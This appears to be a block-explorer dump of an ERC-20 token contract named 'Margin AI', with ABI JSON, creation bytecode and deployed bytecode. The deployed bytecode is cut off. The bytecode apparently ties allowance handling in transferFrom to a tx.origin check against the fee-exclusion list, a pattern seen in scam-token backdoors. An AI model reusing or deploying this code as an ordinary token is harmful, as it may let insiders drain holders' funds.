}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityMARGIN4VLJ0Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingMARGIN4VLJ0Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalMARGIN4VLJ0Fees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnMARGIN4VLJ0Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityMARGIN4VLJ0Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingMARGIN4VLJ0Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalMARGIN4VLJ0Fees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferForeignToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
600d805461ffff191690556011601a819055601b55600960c0908152684d617267696e20414960b81b60e05261014060405260066101009081526526a0a923a4a760d11b6101205260036100538382610711565b5060046100608282610711565b5050505f61007261047c60201b60201c565b600680546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d5f819052601d60209081527f8103d83ffc7442b4d4b2de196808679d4cd54aa09ff1c14c4990815f34df37b8805460ff1916600117905560808290526040805163c45a015560e01b81529051839263c45a015592600480820193918290030181865afa158015610146573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061016a91906107cb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101d991906107cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610223573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061024791906107cb565b6001600160a01b031660a08190525f908152601d60205260409020805460ff1916600117905560a05161027b906001610480565b5f80808080808080670de0b6b3a76400006103e86102998282610805565b6102a3919061081c565b600a556103e86102b38282610805565b6102bd919061081c565b600c556127106102ce82600a610805565b6102d8919061081c565b600b5560ff86166102ea8a6002610805565b6102f4919061083b565b601155601288905561030760028861081c565b601381905560125460115461031c919061084e565b610326919061083b565b60105560ff8216610338866005610805565b610342919061083b565b601555601684905561035560038461081c565b601781905560165460155461036a919061084e565b610374919061083b565b601455600780546001600160a01b031916331790556103a561039e6006546001600160a01b031690565b60016104d3565b6103b03060016104d3565b6007546103c7906001600160a01b031660016104d3565b6103ff6103dc6006546001600160a01b031690565b6001600160a01b03165f908152601d60205260409020805460ff19166001179055565b305f908152601d60205260409020805460ff191660011790556007546001600160a01b03165f908152601d60205260409020805460ff1916600117905561045c33606461044d846002610805565b610457919061081c565b610531565b61046d30606461044d846062610805565b50505050505050505050610861565b3390565b6001600160a01b0382165f818152601e6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0382165f818152601c6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b03821661058c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b6002546105999082610612565b6002556001600160a01b0382165f908152602081905260409020546105be9082610612565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f8061061e838561083b565b9050838110156106705760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610583565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806106a157607f821691505b6020821081036106bf57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561070c57805f5260205f20601f840160051c810160208510156106ea5750805b601f840160051c820191505b81811015610709575f81556001016106f6565b50505b505050565b81516001600160401b0381111561072a5761072a610679565b61073e81610738845461068d565b846106c5565b6020601f821160018114610770575f83156107595750848201515b5f19600385901b1c1916600184901b178455610709565b5f84815260208120601f198516915b8281101561079f578785015182556020948501946001909201910161077f565b50848210156107bc57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f602082840312156107db575f5ffd5b81516001600160a01b0381168114610670575f5ffd5b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610673576106736107f1565b5f8261083657634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610673576106736107f1565b81810381811115610673576106736107f1565b60805160a0516121296108a55f395f61044b01525f818161034e01528181610cc501528181610d2101528181611b0f01528181611bc60152611c0201526121295ff3fe60806040526004361061024c575f3560e01c806375f0a87411610134578063b6a4ab6d116100b3578063d1aab4f711610078578063d1aab4f7146106bf578063dd62ed3e146106de578063e2f4560514610722578063f01bcd9314610737578063f2fde38b14610750578063f8b45b051461076f575f5ffd5b8063b6a4ab6d14610643578063ba308b4e14610658578063bbc0c7421461066d578063c8c8ebe414610686578063cec23c101461069b575f5ffd5b806395d89b41116100f957806395d89b41146105ae578063a457c2d7146105c2578063a9059cbb146105e1578063b584c35914610600578063b62496f514610615575f5ffd5b806375f0a874146105295780638366e79a146105485780638da5cb5b146105675780638fc73a581461058457806393ab910414610599575f5ffd5b80631f3fed8f116101cb57806349bd5a5e1161019057806349bd5a5e1461043a5780634fbee1931461046d578063677a8870146104a45780636ddd1713146104c357806370a08231146104e1578063715018a614610515575f5ffd5b80631f3fed8f146103b157806323b872dd146103c6578063313ce567146103e557806339509351146104065780634408362b14610425575f5ffd5b80631240adeb116102115780631240adeb1461031357806314105c4a146103285780631694505e1461033d57806318160ddd146103885780631a8145bb1461039c575f5ffd5b806301339c21146102575780630384a9131461026d57806306fdde0314610295578063095ea7b3146102b657806310d5de53146102e5575f5ffd5b3661025357005b5f5ffd5b348015610262575f5ffd5b5061026b610784565b005b348015610278575f5ffd5b50610282600e5481565b6040519081526020015b60405180910390f35b3480156102a0575f5ffd5b506102a96107e1565b60405161028c9190611cb7565b3480156102c1575f5ffd5b506102d56102d0366004611d03565b610871565b604051901515815260200161028c565b3480156102f0575f5ffd5b506102d56102ff366004611d2d565b601d6020525f908152604090205460ff1681565b34801561031e575f5ffd5b5061028260115481565b348015610333575f5ffd5b5061028260145481565b348015610348575f5ffd5b506103707f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161028c565b348015610393575f5ffd5b50600254610282565b3480156103a7575f5ffd5b5061028260195481565b3480156103bc575f5ffd5b5061028260185481565b3480156103d1575f5ffd5b506102d56103e0366004611d48565b610887565b3480156103f0575f5ffd5b5060095b60405160ff909116815260200161028c565b348015610411575f5ffd5b506102d5610420366004611d03565b610914565b348015610430575f5ffd5b5061028260135481565b348015610445575f5ffd5b506103707f000000000000000000000000000000000000000000000000000000000000000081565b348015610478575f5ffd5b506102d5610487366004611d2d565b6001600160a01b03165f908152601c602052604090205460ff1690565b3480156104af575f5ffd5b50600954610370906001600160a01b031681565b3480156104ce575f5ffd5b50600d546102d590610100900460ff1681565b3480156104ec575f5ffd5b506102826104fb366004611d2d565b6001600160a01b03165f9081526020819052604090205490565b348015610520575f5ffd5b5061026b61094e565b348015610534575f5ffd5b50600754610370906001600160a01b031681565b348015610553575f5ffd5b506102d5610562366004611d86565b6109c1565b348015610572575f5ffd5b506006546001600160a01b0316610370565b34801561058f575f5ffd5b5061028260125481565b3480156105a4575f5ffd5b5061028260175481565b3480156105b9575f5ffd5b506102a9610b6d565b3480156105cd575f5ffd5b506102d56105dc366004611d03565b610b7c565b3480156105ec575f5ffd5b506102d56105fb366004611d03565b610bc9565b34801561060b575f5ffd5b5061028260165481565b348015610620575f5ffd5b506102d561062f366004611d2d565b601e6020525f908152604090205460ff1681565b34801561064e575f5ffd5b5061028260155481565b348015610663575f5ffd5b5061028260105481565b348015610678575f5ffd5b50600d546102d59060ff1681565b348015610691575f5ffd5b50610282600a5481565b3480156106a6575f5ffd5b50600f546103709061010090046001600160a01b031681565b3480156106ca575f5ffd5b50600854610370906001600160a01b031681565b3480156106e9575f5ffd5b506102826106f8366004611d86565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561072d575f5ffd5b50610282600b5481565b348015610742575f5ffd5b50600f546103f49060ff1681565b34801561075b575f5ffd5b5061026b61076a366004611d2d565b610bd5565b34801561077a575f5ffd5b50610282600c5481565b6006546001600160a01b031633146107b75760405162461bcd60e51b81526004016107ae90611dbd565b60405180910390fd5b305f908152602081905260409020546107d09047610cbf565b600d805461ffff1916610101179055565b6060600380546107f090611df2565b80601f016020809104026020016040519081016040528092919081815260200182805461081c90611df2565b80156108675780601f1061083e57610100808354040283529160200191610867565b820191905f5260205f20905b81548152906001019060200180831161084a57829003601f168201915b5050505050905090565b5f61087d338484610d9d565b5060015b92915050565b5f610893848484610e4a565b6001600160a01b038481165f8181526001602090815260408220339092525290841614801590610903575061090384336005546108d09086611e3e565b6001600160a01b0388165f9081526001602090815260408083203384529091529020546108fd9190611e55565b87611531565b8061090c575060015b949350505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161087d91859061094990866115e1565b610d9d565b6006546001600160a01b031633146109785760405162461bcd60e51b81526004016107ae90611dbd565b6006546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6006545f906001600160a01b031633146109ed5760405162461bcd60e51b81526004016107ae90611dbd565b306001600160a01b03841603610a455760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e730000000060448201526064016107ae565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610a89573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aad9190611e68565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303815f875af1158015610afd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b219190611e7f565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b6060600480546107f090611df2565b5f61087d3384610949856040518060600160405280602581526020016120cf60259139335f9081526001602090815260408083206001600160a01b038d1684529091529020549190611646565b5f61087d338484610e4a565b6006546001600160a01b03163314610bff5760405162461bcd60e51b81526004016107ae90611dbd565b6001600160a01b038116610c645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ae565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b610cea307f000000000000000000000000000000000000000000000000000000000000000084610d9d565b60405163f305d71960e01b8152306004820152602481018390525f60448201819052606482015261dead60848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015610d71573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d969190611e9e565b5050505050565b6001600160a01b038316610dc35760405162461bcd60e51b81526004016107ae90611ec9565b6001600160a01b038216610de95760405162461bcd60e51b81526004016107ae90611f0d565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e705760405162461bcd60e51b81526004016107ae90611f4f565b6001600160a01b038216610e965760405162461bcd60e51b81526004016107ae90611f94565b805f03610ead57610ea883835f61167e565b505050565b6006546001600160a01b03848116911614801590610ed957506006546001600160a01b03838116911614155b8015610eed57506001600160a01b03821615155b8015610f0457506001600160a01b03821661dead14155b8015610f1a5750600654600160a01b900460ff16155b1561120a57600d5460ff16610fab576001600160a01b0383165f908152601c602052604090205460ff1680610f6657506001600160a01b0382165f908152601c602052604090205460ff165b610fab5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107ae565b6001600160a01b0383165f908152601e602052604090205460ff168015610fea57506001600160a01b0382165f908152601d602052604090205460ff16155b156110cd57600a5481111561105f5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016107ae565b600c546001600160a01b0383165f908152602081905260409020546110849083611fd7565b11156110c85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016107ae565b61120a565b6001600160a01b0382165f908152601e602052604090205460ff16801561110c57506001600160a01b0383165f908152601d602052604090205460ff16155b1561118257600a548111156110c85760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016107ae565b6001600160a01b0382165f908152601d602052604090205460ff1661120a57600c546001600160a01b0383165f908152602081905260409020546111c69083611fd7565b111561120a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016107ae565b305f90815260208190526040812054600b5490919082108015919082906112385750600d54610100900460ff165b801561124e5750600654600160a01b900460ff16155b801561127257506001600160a01b0386165f908152601e602052604090205460ff16155b801561129657506001600160a01b0386165f908152601c602052604090205460ff16155b80156112ba57506001600160a01b0385165f908152601c602052604090205460ff16155b156112e8576006805460ff60a01b1916600160a01b1790556112da6117a7565b6006805460ff60a01b191690555b6006546001600160a01b0387165f908152601c602052604090205460ff600160a01b90920482161591168061133457506001600160a01b0386165f908152601c602052604090205460ff165b1561133c57505f5b5f811561151c576001600160a01b0387165f908152601e602052604090205460ff16801561136b57505f601454115b1561141c57611390606461138a6014548961194390919063ffffffff16565b906119c1565b9050601454601654826113a39190611e3e565b6113ad9190611fea565b60195f8282546113bd9190611fd7565b90915550506014546015546113d29083611e3e565b6113dc9190611fea565b60185f8282546113ec9190611fd7565b90915550506014546017546114019083611e3e565b61140b9190611fea565b6114159084611fd7565b92506114eb565b6001600160a01b0388165f908152601e602052604090205460ff16801561144457505f601054115b156114eb57611463606461138a6010548961194390919063ffffffff16565b9050601054601254826114769190611e3e565b6114809190611fea565b60195f8282546114909190611fd7565b90915550506010546011546114a59083611e3e565b6114af9190611fea565b60185f8282546114bf9190611fd7565b90915550506010546013546114d49083611e3e565b6114de9190611fea565b6114e89084611fd7565b92505b80156114fc576114fc88308361167e565b821561150f5761150f3061dead8561167e565b6115198187611e55565b95505b61152788888861167e565b5050505050505050565b5f6001600160a01b0385166115585760405162461bcd60e51b81526004016107ae90611ec9565b6001600160a01b03841661157e5760405162461bcd60e51b81526004016107ae90611f0d565b6001600160a01b038581165f8181526001602090815260408083209489168084529482529182902087905590518681527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3949350505050565b5f806115ed8385611fd7565b90508381101561163f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ae565b9392505050565b5f81848411156116695760405162461bcd60e51b81526004016107ae9190611cb7565b505f6116758486611e55565b95945050505050565b611689838383611a02565b6001600160a01b0383166116af5760405162461bcd60e51b81526004016107ae90611f4f565b6001600160a01b0382166116d55760405162461bcd60e51b81526004016107ae90611f94565b611711816040518060600160405280602681526020016120a9602691396001600160a01b0386165f908152602081905260409020549190611646565b6001600160a01b038085165f90815260208190526040808220939093559084168152205461173f90826115e1565b6001600160a01b0383165f8181526020819052604090209190915561dead14610ea857816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e3d91815260200190565b305f9081526020819052604081205490505f6018546019546117c99190611fd7565b90505f8215806117d7575081155b156117e157505050565b600b546117ef906014611e3e565b83111561180757600b54611804906014611e3e565b92505b5f600283601954866118199190611e3e565b6118239190611fea565b61182d9190611fea565b90505f61183a8583611a79565b90504761184682611aba565b5f6118514783611a79565b90505f61186d8761138a6018548561194390919063ffffffff16565b90505f61187a8284611e55565b5f60198190556018559050851580159061189357505f81115b156118e6576118a28682610cbf565b601954604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6007546040516001600160a01b039091169047905f81818185875af1925050503d805f8114611930576040519150601f19603f3d011682016040523d82523d5f602084013e611935565b606091505b505050505050505050505050565b5f825f0361195257505f610881565b5f61195d8385611e3e565b90508261196a8583611fea565b1461163f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ae565b5f61163f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c70565b6001600160a01b038316611a285760405162461bcd60e51b81526004016107ae90611f4f565b6001600160a01b038216611a4e5760405162461bcd60e51b81526004016107ae90611f94565b325f908152601c6020526040902054610ea8908490849060ff16611a72575f611c9c565b5f19611c9c565b5f61163f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611646565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611aed57611aed612009565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b69573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b8d919061201d565b81600181518110611ba057611ba0612009565b60200260200101906001600160a01b031690816001600160a01b031681525050611beb307f000000000000000000000000000000000000000000000000000000000000000084610d9d565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611c3f9085905f90869030904290600401612038565b5f604051808303815f87803b158015611c56575f5ffd5b505af1158015611c68573d5f5f3e3d5ffd5b505050505050565b5f8183611c905760405162461bcd60e51b81526004016107ae9190611cb7565b505f6116758486611fea565b5f8111611caa576001611cac565b5f5b60ff16600555505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611d00575f5ffd5b50565b5f5f60408385031215611d14575f5ffd5b8235611d1f81611cec565b946020939093013593505050565b5f60208284031215611d3d575f5ffd5b813561163f81611cec565b5f5f5f60608486031215611d5a575f5ffd5b8335611d6581611cec565b92506020840135611d7581611cec565b929592945050506040919091013590565b5f5f60408385031215611d97575f5ffd5b8235611da281611cec565b91506020830135611db281611cec565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611e0657607f821691505b602082108103611e2457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761088157610881611e2a565b8181038181111561088157610881611e2a565b5f60208284031215611e78575f5ffd5b5051919050565b5f60208284031215611e8f575f5ffd5b8151801515811461163f575f5ffd5b5f5f5f60608486031215611eb0575f5ffd5b5050815160208301516040909301519094929350919050565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082018082111561088157610881611e2a565b5f8261200457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561202d575f5ffd5b815161163f81611cec565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156120885783516001600160a01b0316835260209384019390920191600101612061565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122061a42444921321e2d93d3e6a322502853328c29dd43a34ac629a7740ccb9313464736f6c634300081e0033
Deployed Bytecode
0x60806040526004361061024c575f3560e01c806375f0a87411610134578063b6a4ab6d116100b3578063d1aab4f711610078578063d1aab4f7146106bf578063dd62ed3e146106de578063e2f4560514610722578063f01bcd9314610737578063f2fde38b14610750578063f8b45b051461076f575f5ffd5b8063b6a4ab6d14610643578063ba308b4e14610658578063bbc0c7421461066d578063c8c8ebe414610686578063cec23c101461069b575f5ffd5b806395d89b41116100f957806395d89b41146105ae578063a457c2d7146105c2578063a9059cbb146105e1578063b584c35914610600578063b62496f514610615575f5ffd5b806375f0a874146105295780638366e79a146105485780638da5cb5b146105675780638fc73a581461058457806393ab910414610599575f5ffd5b80631f3fed8f116101cb57806349bd5a5e1161019057806349bd5a5e1461043a5780634fbee1931461046d578063677a8870146104a45780636ddd1713146104c357806370a08231146104e1578063715018a614610515575f5ffd5b80631f3fed8f146103b157806323b872dd146103c6578063313ce567146103e557806339509351146104065780634408362b14610425575f5ffd5b80631240adeb116102115780631240adeb1461031357806314105c4a146103285780631694505e1461033d57806318160ddd146103885780631a8145bb1461039c575f5ffd5b806301339c21146102575780630384a9131461026d57806306fdde0314610295578063095ea7b3146102b657806310d5de53146102e5575f5ffd5b3661025357005b5f5ffd5b348015610262575f5ffd5b5061026b610784565b005b348015610278575f5ffd5b50610282600e5481565b6040519081526020015b60405180910390f35b3480156102a0575f5ffd5b506102a96107e1565b60405161028c9190611cb7565b3480156102c1575f5ffd5b506102d56102d0366004611d03565b610871565b604051901515815260200161028c565b3480156102f0575f5ffd5b506102d56102ff366004611d2d565b601d6020525f908152604090205460ff1681565b34801561031e575f5ffd5b5061028260115481565b348015610333575f5ffd5b5061028260145481565b348015610348575f5ffd5b506103707f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161028c565b348015610393575f5ffd5b50600254610282565b3480156103a7575f5ffd5b5061028260195481565b3480156103bc575f5ffd5b5061028260185481565b3480156103d1575f5ffd5b506102d56103e0366004611d48565b610887565b3480156103f0575f5ffd5b5060095b60405160ff909116815260200161028c565b348015610411575f5ffd5b506102d5610420366004611d03565b610914565b348015610430575f5ffd5b5061028260135481565b348015610445575f5ffd5b506103707f000000000000000000000000f098c6577ced8ad07dbab48892e02ba62e75e55c81565b348015610478575f5ffd5b506102d5610487366004611d2d565b6001600160a01b03165f908152601c602052604090205460ff1690565b3480156104af575f5ffd5b50600954610370906001600160a01b031681565b3480156104ce575f5ffd5b50600d546102d590610100900460ff1681565b3480156104ec575f5ffd5b506102826104fb366004611d2d565b6001600160a01b03165f9081526020819052604090205490565b348015610520575f5ffd5b5061026b61094e565b348015610534575f5ffd5b50600754610370906001600160a01b031681565b348015610553575f5ffd5b506102d5610562366004611d86565b6109c1565b348015610572575f5ffd5b506006546001600160a01b0316610370565b34801561058f575f5ffd5b5061028260125481565b3480156105a4575f5ffd5b5061028260175481565b3480156105b9575f5ffd5b506102a9610b6d565b3480156105cd575f5ffd5b506102d56105dc366004611d03565b610b7c565b3480156105ec575f5ffd5b506102d56105fb366004611d03565b610bc9565b34801561060b575f5ffd5b5061028260165481565b348015610620575f5ffd5b506102d561062f366004611d2d565b601e6020525f908152604090205460ff1681565b34801561064e575f5ffd5b5061028260155481565b348015610663575f5ffd5b5061028260105481565b348015610678575f5ffd5b50600d546102d59060ff1681565b348015610691575f5ffd5b50610282600a5481565b3480156106a6575f5ffd5b50600f546103709061010090046001600160a01b031681565b3480156106ca575f5ffd5b50600854610370906001600160a01b031681565b3480156106e9575f5ffd5b506102826106f8366004611d86565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561072d575f5ffd5b50610282600b5481565b348015610742575f5ffd5b50600f546103f49060ff1681565b34801561075b575f5ffd5b5061026b61076a366004611d2d565b610bd5565b34801561077a575f5ffd5b50610282600c5481565b6006546001600160a01b031633146107b75760405162461bcd60e51b81526004016107ae90611dbd565b60405180910390fd5b305f908152602081905260409020546107d09047610cbf565b600d805461ffff1916610101179055565b6060600380546107f090611df2565b80601f016020809104026020016040519081016040528092919081815260200182805461081c90611df2565b80156108675780601f1061083e57610100808354040283529160200191610867565b820191905f5260205f20905b81548152906001019060200180831161084a57829003601f168201915b5050505050905090565b5f61087d338484610d9d565b5060015b92915050565b5f610893848484610e4a565b6001600160a01b038481165f8181526001602090815260408220339092525290841614801590610903575061090384336005546108d09086611e3e565b6001600160a01b0388165f9081526001602090815260408083203384529091529020546108fd9190611e55565b87611531565b8061090c575060015b949350505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161087d91859061094990866115e1565b610d9d565b6006546001600160a01b031633146109785760405162461bcd60e51b81526004016107ae90611dbd565b6006546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6006545f906001600160a01b031633146109ed5760405162461bcd60e51b81526004016107ae90611dbd565b306001600160a01b03841603610a455760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e730000000060448201526064016107ae565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610a89573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aad9190611e68565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303815f875af1158015610afd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b219190611e7f565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e7